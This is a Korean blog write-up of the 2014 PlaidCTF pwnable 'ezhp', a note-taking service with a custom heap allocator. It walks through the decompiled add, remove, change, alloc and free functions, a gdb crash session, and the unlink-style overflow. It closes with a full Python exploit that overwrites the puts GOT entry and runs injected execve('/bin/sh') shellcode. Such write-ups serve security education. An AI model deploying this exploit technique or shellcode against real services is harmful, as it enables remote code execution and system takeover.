본문 바로가기
Wargame/review

2014 PlaidCTF - ezhp[200]

by bbolmin 2014. 10. 7.


ezhp

Pwnables (200 pts)

-------------------

Luckily when you travel back in time, you still get to use all your

knowledge from the present. With that knowledge in hand, breaking

into this service (at 54.81.149.239:9174) owned by The Plague

shouldn't be hard at all.


ezhp


ezhp.idb








위와 같이 메모를 추가, 수정, 삭제하는 프로그램으로 Heap Overflow 문제이다.



노트를 추가하는 add함수와 삭제하는 remove 함수이다. 여기서 해당 함수에서 heap에 메모리에 대한 관리를 한다.




int add_8048794() { int result; // eax@2 intptr_t delta; // [sp+18h] [bp-10h]@3 if ( noteID <= 1022 ) { puts("Please give me a size."); fflush(stdout); __isoc99_scanf("%d%*c", &delta); buf[noteID] = (int)alloc_804858B(delta); result = noteID++ + 1; } else { puts("The emperor says there are too many notes!"); result = fflush(stdout); } return result; }



int remove_804881A() { int result; // eax@1 int id; // [sp+1Ch] [bp-Ch]@1 puts("Please give me an id."); fflush(stdout); __isoc99_scanf("%d%*c", &id); result = noteID; if ( id <= noteID ) { result = id; if ( id >= 0 ) { if ( buf[id] ) free_8048708(buf[id]); result = id; buf[id] = 0; } } return result; }



입력받은 size만큼 힙 메모리에  read를 수행하는 change함수이다. heap overflow가 발생하는 지점이다.



ssize_t change_8048893()

{ ssize_t result; // eax@1 int v1; // [sp+18h] [bp-10h]@1 size_t nbytes; // [sp+1Ch] [bp-Ch]@4 puts("Please give me an id."); fflush(stdout); __isoc99_scanf("%d%*c", &v1); result = noteID; if ( v1 <= noteID ) { result = v1; if ( v1 >= 0 ) { result = buf[v1]; if ( result ) { puts("Please give me a size."); fflush(stdout); __isoc99_scanf("%d%*c", &nbytes); puts("Please input your data."); fflush(stdout); result = read(0, (void *)buf[v1], nbytes); } } } return result; }



위의 change함수에서 heap overflow가 발생하는데 실제 exploit을 수행하기 위한 취약점은 힙 메모리를 alloc&free하는 지점에서 발생한다.

힙 관리는 double linked list 형태로 관리하는데 | size | next | prev | data ~~ | 의 구조로 Heap Structure가 존재한다. heap overflow 로 heap header부분을 조작하여 임의의 주소에 원하는 값을 삽입하도록 하여 exploit을 발생시킬 수 있다.



[+] 힙 구조체 생성


00000000 heapStruct      struc ; (sizeof=0xD)    ; XREF: alloc_804858Br

00000000                                         ; free_8048708r

00000000 size            dd ?

00000004 next            dd ?

00000008 prev            dd ?

0000000C data            db ?

0000000D heapStruct      ends

0000000D


아래 함수들은 add와 remove 함수 내의 힙 메모리를 컨트롤하는 부분이다.


char *__cdecl alloc_804858B(intptr_t alloc_size) { char *result; // eax@12 int v2; // ST24_4@14 heapStruct *i; // [sp+18h] [bp-20h]@1 heapStruct *alloced_mem; // [sp+18h] [bp-20h]@9 heapStruct *j; // [sp+1Ch] [bp-1Ch]@9 int v6; // [sp+28h] [bp-10h]@14 int v7; // [sp+2Ch] [bp-Ch]@14 unsigned int deltaa; // [sp+40h] [bp+8h]@1 deltaa = alloc_size + 12 - (alloc_size + 12) % 12u + 12;// 12byte ´ÜÀ§·Î ÇÒ´ç for ( i = firstHeap; i && (i->size < deltaa || i->size & 1); i = (heapStruct *)i->next ) ; if ( i ) { if ( i->size - deltaa <= 48 ) { i->size |= 1u; result = &i->data; } else { v2 = i->prev; v6 = i->next; v7 = (int)((char *)&i->size + deltaa); *(int *)((char *)&i->prev + deltaa) = (int)i; *(_DWORD *)(v7 + 4) = v6; *(_DWORD *)v7 = i->size - deltaa; if ( v6 ) *(_DWORD *)(v6 + 8) = v7; i->next = v7; i->size = deltaa; i->size |= 1u; result = &i->data; } } else { if ( deltaa < 1036 ) deltaa = 1036; alloced_mem = (heapStruct *)sbrk(deltaa); alloced_mem->next = 0; alloced_mem->size = deltaa; for ( j = firstHeap; j->next; j = (heapStruct *)j->next ) ; j->next = (int)alloced_mem; alloced_mem->prev = (int)j; alloced_mem->size |= 1u; result = &alloced_mem->data; } return result; }
heapStruct *__cdecl free_8048708(int heapData) { heapStruct *result; // eax@8 heapStruct *heapStruct; // [sp+4h] [bp-Ch]@2 int prev; // [sp+8h] [bp-8h]@2 int next; // [sp+Ch] [bp-4h]@2 if ( heapData ) { heapStruct = (heapStruct *)(heapData - 12); prev = *(_DWORD *)(heapData - 12 + 8); next = *(_DWORD *)(heapData - 12 + 4); if ( prev ) *(_DWORD *)(prev + 4) = next; if ( next ) *(_DWORD *)(next + 8) = prev; heapStruct->next = firstHeap->next; if ( firstHeap->next ) *(_DWORD *)(firstHeap->next + 8) = heapStruct; firstHeap->next = (int)heapStruct; result = (heapStruct *)(heapData - 12); heapStruct->size &= 0xFFFFFFFE; } return result

}


위에서 free하는 함수를 보면 *(_DWORD *)(prev + 4) = next;와 *(_DWORD *)(next + 8) = prev; 코드에서 prev와 next는 heap overflow로 조작가능하기 때문에 특정 주소에 원하는 값을 넣을 수 있다.


ex)

note1 -> note2
note1에서 data change로 note2의 next, prev를 overflow로 조작한 후 note2를 remove하면 조작된 *(prev+4), *(next+8)에 데이터를 write한다.


아래는 할당된 힙메모리에서 다음 힙을 덮을때 까지의 거리를 구해본다. (12byte의 더미 확인)


| 12byte dummy | size | next | prev | 


(gdb) r

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/bbolmin/Desktop/ezhp 

Please enter one of the following:

1 to add a note.

2 to remove a note.

3 to change a note.

4 to print a note.

5 to quit.

Please choose an option.

1

Please give me a size.

12

Please enter one of the following:

1 to add a note.

2 to remove a note.

3 to change a note.

4 to print a note.

5 to quit.

Please choose an option.

1

Please give me a size.

12

Please enter one of the following:

1 to add a note.

2 to remove a note.

3 to change a note.

4 to print a note.

5 to quit.

Please choose an option.

3

Please give me an id.

0

Please give me a size.

36

Please input your data.

aaaaaaaaaaaabbbbbbbbbbbb111122223333

Please enter one of the following:

1 to add a note.

2 to remove a note.

3 to change a note.

4 to print a note.

5 to quit.

Please choose an option.

2

Please give me an id.

1


Program received signal SIGSEGV, Segmentation fault.

0x0804873b in ?? ()

(gdb) x/i $eip

=> 0x804873b: mov    %edx,0x4(%eax)

(gdb) x/x $eax

0x33333333: Cannot access memory at address 0x33333333

(gdb) 





==> exploit 방식은 아래와 같다.


메모리 구조 : | size | next | prev | data |

1. 노트3개를 할당한다.

2. 노트2을 change 해서 노트3의 next를 puts_got-8로 overflow 시킨다. 

(이때  prev는 그대로 둔다. 노트2를 가리키면서 해당 영역에 쉘코드를 삽입할 것임.)

3. 노트1을 change해서 노트2에 쉘코드를 삽입한다. (*(prev+4) = next 때문에 앞에 jmp코드와 nop을 삽입해 줘야준다.)

4. 노트3을 remove시켜 실제로 GOT overwrite를 수행한다.

5. 다음 메뉴를 자동으로 출력하면서 puts 함수가 실행되므로 바로 exploit이 된다.

6. command 실행 ~~





[ exploit code ]


# -*- coding: cp949 -*-

# final exploit (python)

from socket import *

import struct


HOST = '192.168.11.131'

PORT = 9000


puts_got = struct.pack('<I', 0x0804a008-8)  #*(next+8)=prev 이기 때문에 -8 해준다.


jmp_sh = '\xeb\x04\x90\x90'

execve_sh = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'

shellcode = jmp_sh + '\x90'*4 + execve_sh     #*(prev+4) = next이기 때문에 4byte의 쉘코드가 변조됨


s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))


#노트 메모리 구조 : |size|next|prev|data| 12byte dummy |size|next|prev|data|


######### 노트 3개 추가 ###########

s.recv(4096)

#add note(id0) - size:120

s.send('1\n')

s.recv(4096)

s.send('120\n')

s.recv(4096)

#add note(id1) - size:120

s.send('1\n')

s.recv(4096)

s.send('120\n')

s.recv(4096)

#add note(id2) - size:120

s.send('1\n')

s.recv(4096)

s.send('120\n')

s.recv(4096)

#################################



#change 1 (GOT overwrite를 위한 overflow)

# 두번째 노트의 데이터 변경 -> 세번째 노트 overwrite

s.recv(4096)

s.send('3\n')

s.recv(4096)

s.send('1\n')       #id

s.recv(4096)

s.send('140\n')     #size : 120+12+8

s.recv(4096)

s.send('a'*136 + puts_got + '\n')

print '[+] Fisrt overflow !'


#change 2 (shellcode insert)

# 첫번째 노트의 데이터 변경 -> 두번째 노트 overwrite

s.recv(4096)

s.send('3\n')

s.recv(4096)

s.send('0\n')       #id

s.recv(4096)

s.send('264\n')     #size : 120+12(dummy)+12(header)+120(data)

s.recv(4096)

s.send('a'*132 + shellcode + '\n')

s.recv(4096)

print '[+] Second overflow !'


#remove id2 note

# 세번째 노트삭제 - GOT overwrite 발생

s.send('2\n')

s.recv(4096)

s.send('2\n')       #id

s.recv(4096)

print '[+] puts GOT Overwrite and executed !\n'


#call puts function

s.send('id\n')

print s.recv(4096)



'Wargame > review' 카테고리의 다른 글

2014 codegate - autumata[400]  (0) 2014.04.10